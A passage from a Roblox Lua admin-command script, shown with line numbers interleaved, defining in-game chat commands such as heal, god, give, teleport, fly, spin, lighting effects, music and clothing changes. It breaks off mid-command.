if msg:lower():sub(1,5) == "thaw " then
1133
local plrz = GetPlr(plr, msg:lower():sub(6))
1134
for i, v in pairs(plrz) do
1135
coroutine.resume(coroutine.create(function()
1136
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1137
for a, obj in pairs(v.Character:children()) do 
1138
if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
1139
end
1140
end
1141
end))
1142
end
1143
end
1144
1145
if msg:lower():sub(1,5) == "heal " then
1146
local plrz = GetPlr(plr, msg:lower():sub(6))
1147
for i, v in pairs(plrz) do
1148
coroutine.resume(coroutine.create(function()
1149
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1150
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1151
end
1152
end))
1153
end
1154
end
1155
1156
if msg:lower():sub(1,4) == "god " then
1157
local plrz = GetPlr(plr, msg:lower():sub(5))
1158
for i, v in pairs(plrz) do
1159
coroutine.resume(coroutine.create(function()
1160
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1161
v.Character.Humanoid.MaxHealth = math.huge
1162
v.Character.Humanoid.Health = 9e9
1163
end
1164
end))
1165
end
1166
end
1167
1168
if msg:lower():sub(1,6) == "ungod " then
1169
local plrz = GetPlr(plr, msg:lower():sub(7))
1170
for i, v in pairs(plrz) do
1171
coroutine.resume(coroutine.create(function()
1172
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1173
v.Character.Humanoid.MaxHealth = 100
1174
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1175
end
1176
end))
1177
end
1178
end
1179
1180
if msg:lower():sub(1,8) == "ambient " then
1181
local chk1 = msg:lower():sub(9):find(" ") + 8
1182
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1183
game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
1184
end
1185
1186
if msg:lower():sub(1,11) == "brightness " then
1187
game.Lighting.Brightness = msg:sub(12)
1188
end
1189
1190
if msg:lower():sub(1,5) == "time " then
1191
game.Lighting.TimeOfDay = msg:sub(6)
1192
end
1193
1194
if msg:lower():sub(1,9) == "fogcolor " then
1195
local chk1 = msg:lower():sub(10):find(" ") + 9
1196
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1197
game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
1198
end
1199
1200
if msg:lower():sub(1,7) == "fogend " then
1201
game.Lighting.FogEnd = msg:sub(8)
1202
end
1203
1204
if msg:lower():sub(1,9) == "fogstart " then
1205
game.Lighting.FogStart = msg:sub(10)
1206
end
1207
1208
if msg:lower():sub(1,7) == "btools " then
1209
local plrz = GetPlr(plr, msg:lower():sub(8))
1210
for i, v in pairs(plrz) do
1211
coroutine.resume(coroutine.create(function()
1212
if v and v:findFirstChild("Backpack") then 
1213
local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
1214
local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
1215
local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
1216
local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
1217
local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
1218
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
1219
local sb
1220
local hs
1221
local pdist
1222
1223
script.Parent.Selected:connect(function(mouse)
1224
if not mouse then return end
1225
sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
1226
hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
1227
mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
1228
hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
1229
hs.MouseButton1Down:connect(function() pdist = 0 end)
1230
end)
1231
1232
script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
1233
end
1234
end))
1235
end
1236
end
1237
1238
if msg:lower():sub(1,12) == "startergive " then
1239
local chk1 = msg:lower():sub(13):find(" ") + 12
1240
local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
1241
for i, v in pairs(plrz) do
1242
coroutine.resume(coroutine.create(function()
1243
if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then 
1244
for a, tool in pairs(game.Lighting:children()) do
1245
if tool:IsA("Tool") or tool:IsA("HopperBin") then
1246
if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
1247
end
1248
end
1249
end
1250
end))
1251
end
1252
end
1253
1254
if msg:lower():sub(1,5) == "give " then
1255
local chk1 = msg:lower():sub(6):find(" ") + 5
1256
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1257
for i, v in pairs(plrz) do
1258
coroutine.resume(coroutine.create(function()
1259
if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then 
1260
for a, tool in pairs(game.Lighting:children()) do
1261
if tool:IsA("Tool") or tool:IsA("HopperBin") then
1262
if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
1263
end
1264
end
1265
end
1266
end))
1267
end
1268
end
1269
1270
if msg:lower():sub(1,12) == "removetools " then
1271
local plrz = GetPlr(plr, msg:lower():sub(13))
1272
for i, v in pairs(plrz) do
1273
coroutine.resume(coroutine.create(function()
1274
if v and v.Character and v:findFirstChild("Backpack") then 
1275
for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
1276
for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
1277
end
1278
end))
1279
end
1280
end
1281
1282
if msg:lower():sub(1,5) == "rank " then
1283
local chk1 = msg:lower():sub(6):find(" ") + 5
1284
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1285
for i, v in pairs(plrz) do
1286
coroutine.resume(coroutine.create(function()
1287
if v and v:IsInGroup(msg:sub(chk1+1)) then 
1288
Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
1289
elseif v and not v:IsInGroup(msg:sub(chk1+1))then
1290
Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
1291
end
1292
end))
1293
end
1294
end
1295
1296
if msg:lower():sub(1,7) == "damage " then
1297
local chk1 = msg:lower():sub(8):find(" ") + 7
1298
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1299
for i, v in pairs(plrz) do
1300
coroutine.resume(coroutine.create(function()
1301
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1302
v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
1303
end
1304
end))
1305
end
1306
end
1307
1308
if msg:lower():sub(1,5) == "grav " then
1309
local plrz = GetPlr(plr, msg:lower():sub(6))
1310
for i, v in pairs(plrz) do
1311
coroutine.resume(coroutine.create(function()
1312
if v and v.Character and v.Character:findFirstChild("Torso") then 
1313
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1314
end
1315
end))
1316
end
1317
end
1318
1319
if msg:lower():sub(1,8) == "setgrav " then
1320
local chk1 = msg:lower():sub(9):find(" ") + 8
1321
local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
1322
for i, v in pairs(plrz) do
1323
coroutine.resume(coroutine.create(function()
1324
if v and v.Character and v.Character:findFirstChild("Torso") then 
1325
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1326
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
1327
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
1328
end
1329
end))
1330
end
1331
end
1332
1333
if msg:lower():sub(1,7) == "nograv " then
1334
local plrz = GetPlr(plr, msg:lower():sub(8))
1335
for i, v in pairs(plrz) do
1336
coroutine.resume(coroutine.create(function()
1337
if v and v.Character and v.Character:findFirstChild("Torso") then 
1338
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1339
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
1340
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
1341
end
1342
end))
1343
end
1344
end
1345
1346
if msg:lower():sub(1,7) == "health " then
1347
local chk1 = msg:lower():sub(8):find(" ") + 7
1348
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1349
for i, v in pairs(plrz) do
1350
coroutine.resume(coroutine.create(function()
1351
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1352
v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
1353
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1354
end
1355
end))
1356
end
1357
end
1358
1359
if msg:lower():sub(1,6) == "speed " then
1360
local chk1 = msg:lower():sub(7):find(" ") + 6
1361
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1362
for i, v in pairs(plrz) do
1363
coroutine.resume(coroutine.create(function()
1364
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1365
v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
1366
end
1367
end))
1368
end
1369
end
1370
1371
if msg:lower():sub(1,5) == "team " then
1372
local chk1 = msg:lower():sub(6):find(" ") + 5
1373
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1374
for i, v in pairs(plrz) do
1375
coroutine.resume(coroutine.create(function()
1376
if v and game:findFirstChild("Teams") then 
1377
for a, tm in pairs(game.Teams:children()) do
1378
if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
1379
end
1380
end
1381
end))
1382
end
1383
end
1384
1385
if msg:lower():sub(1,6) == "place " then
1386
local chk1 = msg:lower():sub(7):find(" ") + 6
1387
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1388
for i, v in pairs(plrz) do
1389
coroutine.resume(coroutine.create(function()
1390
if v and v:findFirstChild("PlayerGui") then 
1391
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
1392
end
1393
end))
1394
end
1395
end
1396
1397
if msg:lower():sub(1,3) == "tp " then
1398
local chk1 = msg:lower():sub(4):find(" ") + 3
1399
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
1400
local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
1401
for i, v in pairs(plrz) do
1402
coroutine.resume(coroutine.create(function()
1403
for i2, v2 in pairs(plrz2) do
1404
if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
1405
v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
1406
end
1407
end
1408
end))
1409
end
1410
end
1411
1412
if msg:lower():sub(1,7) == "change " then
1413
local chk1 = msg:lower():sub(8):find(" ") + 7
1414
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1415
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1416
for i, v in pairs(plrz) do
1417
coroutine.resume(coroutine.create(function()
1418
if v and v:findFirstChild("leaderstats") then 
1419
for a, st in pairs(v.leaderstats:children()) do
1420
if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
1421
end
1422
end
1423
end))
1424
end
1425
end
1426
1427
if msg:lower():sub(1,6) == "shirt " then
1428
local chk1 = msg:lower():sub(7):find(" ") + 6
1429
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1430
for i, v in pairs(plrz) do
1431
coroutine.resume(coroutine.create(function()
1432
if v and v.Character then 
1433
for i,v in pairs(v.Character:children()) do
1434
if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
1435
end
1436
end
1437
end))
1438
end
1439
end
1440
1441
if msg:lower():sub(1,6) == "pants " then
1442
local chk1 = msg:lower():sub(7):find(" ") + 6
1443
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1444
for i, v in pairs(plrz) do
1445
coroutine.resume(coroutine.create(function()
1446
if v and v.Character then 
1447
for i,v in pairs(v.Character:children()) do
1448
if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
1449
end
1450
end
1451
end))
1452
end
1453
end
1454
1455
if msg:lower():sub(1,5) == "face " then
1456
local chk1 = msg:lower():sub(6):find(" ") + 5
1457
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1458
for i, v in pairs(plrz) do
1459
coroutine.resume(coroutine.create(function()
1460
if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then 
1461
v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
1462
end
1463
end))
1464
end
1465
end
1466
1467
1468
if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
1469
	
1470
if msg:lower():sub(1,8) == "swagify " then
1471
local plrz = GetPlr(plr, msg:lower():sub(9))
1472
for i, v in pairs(plrz) do
1473
coroutine.resume(coroutine.create(function()
1474
if v and v.Character then
1475
for i,v in pairs(v.Character:children()) do
1476
if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
1477
if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
1478
end
1479
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
1480
local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
1481
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
1482
local torso = plr.Character.Torso
1483
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
1484
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
1485
p.Size = Vector3.new(.2,.2,.2)
1486
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
1487
local motor1 = Instance.new("Motor", p)
1488
motor1.Part0 = p
1489
motor1.Part1 = torso
1490
motor1.MaxVelocity = .01
1491
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
1492
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
1493
local wave = false
1494
repeat wait(1/44)
1495
local ang = 0.1
1496
local oldmag = torso.Velocity.magnitude
1497
local mv = .002
1498
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
1499
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
1500
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
1501
motor1.DesiredAngle = -ang
1502
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
1503
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
1504
if torso.Velocity.magnitude < .1 then wait(.1) end
1505
until not p or p.Parent ~= torso.Parent
1506
script:Destroy()
1507
]] cl.Parent = v.PlayerGui cl.Disabled = false
1508
end
1509
end))
1510
end
1511
end
1512
1513
if msg:lower():sub(1,6) == "music " then
1514
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
1515
local id = msg:sub(7)
1516
local pitch = 1
1517
if tostring(id):lower():find("caramell") then id = 2303479 end
1518
if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
1519
if tostring(id):find("rick") then id = 2027611 end
1520
if tostring(id):find("halo") then id = 1034065  end
1521
if tostring(id):find("pokemon") then id = 1372261 end
1522
if tostring(id):find("cursed") then id = 1372257 end
1523
if tostring(id):find("extreme") then id = 11420933 end
1524
if tostring(id):find("awaken") then id = 27697277 end
1525
if tostring(id):find("alone") then id = 27697392 end
1526
if tostring(id):find("mario") then id = 1280470 end
1527
if tostring(id):find("choir") then id = 1372258 end
1528
if tostring(id):find("chrono") then id = 1280463 end
1529
if tostring(id):find("dotr") then id = 11420922 end
1530
if tostring(id):find("entertain") then id = 27697267 end
1531
if tostring(id):find("fantasy") then id = 1280473 end
1532
if tostring(id):find("final") then id = 1280414 end
1533
if tostring(id):find("emblem") then id = 1372259 end
1534
if tostring(id):find("flight") then id = 27697719 end
1535
if tostring(id):find("banjo") then id = 27697298 end
1536
if tostring(id):find("gothic") then id = 27697743 end
1537
if tostring(id):find("hiphop") then id = 27697735 end
1538
if tostring(id):find("intro") then id = 27697707 end
1539
if tostring(id):find("mule") then id = 1077604 end
1540
if tostring(id):find("film") then id = 27697713 end
1541
if tostring(id):find("nezz") then id = 8610025 end
1542
if tostring(id):find("angel") then id = 1372260 end
1543
if tostring(id):find("resist") then id = 27697234 end
1544
if tostring(id):find("schala") then id = 5985787 end
1545
if tostring(id):find("organ") then id = 11231513 end
1546
if tostring(id):find("tunnel") then id = 9650822 end
1547
if tostring(id):find("spanish") then id = 5982975 end
1548
if tostring(id):find("venom") then id = 1372262 end
1549
if tostring(id):find("wind") then id = 1015394 end
1550
if tostring(id):find("guitar") then id = 5986151 end
1551
local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
1552
end
1553
1554
if msg:lower() == "stopmusic" then
1555
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
1556
end
1557
1558
if msg:lower() == "musiclist" then
1559
if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
1560
local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
1561
local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
1562
for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
1563
end
1564
1565
if msg:lower():sub(1,4) == "fly " then
1566
local plrz = GetPlr(plr, msg:lower():sub(5))
1567
for i, v in pairs(plrz) do
1568
coroutine.resume(coroutine.create(function()
1569
if v and v:findFirstChild("PlayerGui") then
1570
local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") 
1571
local mouse = game.Players.LocalPlayer:GetMouse() 
1572
repeat wait() until mouse
1573
local plr = game.Players.LocalPlayer 
1574
local torso = plr.Character.Torso 
1575
local flying = true
1576
local deb = true 
1577
local ctrl = {f = 0, b = 0, l = 0, r = 0} 
1578
local lastctrl = {f = 0, b = 0, l = 0, r = 0} 
1579
local maxspeed = 50 
1580
local speed = 0 
1581
function Fly() 
1582
local bg = Instance.new("BodyGyro", torso) 
1583
bg.P = 9e4 
1584
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) 
1585
bg.cframe = torso.CFrame 
1586
local bv = Instance.new("BodyVelocity", torso) 
1587
bv.velocity = Vector3.new(0,0.1,0) 
1588
bv.maxForce = Vector3.new(9e9, 9e9, 9e9) 
1589
repeat wait() 
1590
plr.Character.Humanoid.PlatformStand = true 
1591
if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then 
1592
speed = speed+.5+(speed/maxspeed) 
1593
if speed > maxspeed then 
1594
speed = maxspeed 
1595
end 
1596
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then 
1597
speed = speed-1 
1598
if speed < 0 then 
1599
speed = 0 
1600
end 
1601
end 
1602
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then 
1603
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed 
1604
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} 
1605
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then 
1606
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed 
1607
else 
1608
bv.velocity = Vector3.new(0,0.1,0) 
1609
end 
1610
bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) 
1611
until not flying 
1612
ctrl = {f = 0, b = 0, l = 0, r = 0} 
1613
lastctrl = {f = 0, b = 0, l = 0, r = 0} 
1614
speed = 0 
1615
bg:Destroy() 
1616
bv:Destroy() 
1617
plr.Character.Humanoid.PlatformStand = false 
1618
end 
1619
mouse.KeyDown:connect(function(key) 
1620
if key:lower() == "e" then 
1621
if flying then flying = false 
1622
else 
1623
flying = true 
1624
Fly() 
1625
end 
1626
elseif key:lower() == "w" then 
1627
ctrl.f = 1 
1628
elseif key:lower() == "s" then 
1629
ctrl.b = -1 
1630
elseif key:lower() == "a" then 
1631
ctrl.l = -1 
1632
elseif key:lower() == "d" then 
1633
ctrl.r = 1 
1634
end 
1635
end) 
1636
mouse.KeyUp:connect(function(key) 
1637
if key:lower() == "w" then 
1638
ctrl.f = 0 
1639
elseif key:lower() == "s" then 
1640
ctrl.b = 0 
1641
elseif key:lower() == "a" then 
1642
ctrl.l = 0 
1643
elseif key:lower() == "d" then 
1644
ctrl.r = 0 
1645
end 
1646
end)
1647
Fly()]]
1648
cl.Parent = v.PlayerGui cl.Disabled = false
1649
end
1650
end))
1651
end
1652
end
1653
1654
if msg:lower():sub(1,6) == "unfly " then
1655
local plrz = GetPlr(plr, msg:lower():sub(7))
1656
for i, v in pairs(plrz) do
1657
coroutine.resume(coroutine.create(function()
1658
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
1659
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
1660
for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
1661
wait(.1) v.Character.Humanoid.PlatformStand = false
1662
end
1663
end))
1664
end
1665
end
1666
1667
if msg:lower() == "disco" then
1668
for i, v in pairs(lobjs) do v:Destroy() end
1669
local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
1670
game.Lighting.Ambient = color
1671
game.Lighting.FogColor = color
1672
until nil]]
1673
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
1674
end
1675
1676
if msg:lower() == "flash" then
1677
for i, v in pairs(lobjs) do v:Destroy() end
1678
local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) 
1679
game.Lighting.Ambient = Color3.new(1,1,1)
1680
game.Lighting.FogColor = Color3.new(1,1,1)
1681
game.Lighting.Brightness = 1
1682
game.Lighting.TimeOfDay = 14
1683
wait(.1) 
1684
game.Lighting.Ambient = Color3.new(0,0,0)
1685
game.Lighting.FogColor = Color3.new(0,0,0)
1686
game.Lighting.Brightness = 0
1687
game.Lighting.TimeOfDay = 0
1688
until nil]]
1689
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
1690
end
1691
1692
if msg:lower():sub(1,5) == "spin " then
1693
local plrz = GetPlr(plr, msg:lower():sub(6))
1694
for i, v in pairs(plrz) do
1695
coroutine.resume(coroutine.create(function()
1696
if v and v.Character and v.Character:findFirstChild("Torso") then
1697
for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
1698
local torso = v.Character:findFirstChild("Torso")
1699
local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
1700
repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
1701
until not bg or bg.Parent ~= torso
1702
end
1703
end))
1704
end
1705
end
1706
1707
if msg:lower():sub(1,7) == "unspin " then
1708
local plrz = GetPlr(plr, msg:lower():sub(8))
1709
for i, v in pairs(plrz) do
1710
coroutine.resume(coroutine.create(function()
1711
if v and v.Character and v.Character:findFirstChild("Torso") then
1712
for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
1713
end
1714
end))
1715
end
1716
end
1717
1718
if msg:lower():sub(1,4) == "dog " then
1719
local plrz = GetPlr(plr, msg:lower():sub(5))
1720
for i, v in pairs(plrz) do
1721
coroutine.resume(coroutine.create(function()
1722
if v and v.Character and v.Character:findFirstChild("Torso") then
1723
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1724
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1725
v.Character.Torso.Transparency = 1
1726
v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
1727
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
1728
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
1729
v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
1730
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
1731
local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
1732
local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
1733
local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
1734
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
1735
end
1736
end))
1737
end
1738
end
1739
1740
if msg:lower():sub(1,6) == "undog " then
1741
local plrz = GetPlr(plr, msg:lower():sub(7))
1742
for i, v in pairs(plrz) do
1743
coroutine.resume(coroutine.create(function()
1744
if v and v.Character and v.Character:findFirstChild("Torso") then
1745
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1746
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1747
v.Character.Torso.Transparency = 0
1748
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1749
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1750
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1751
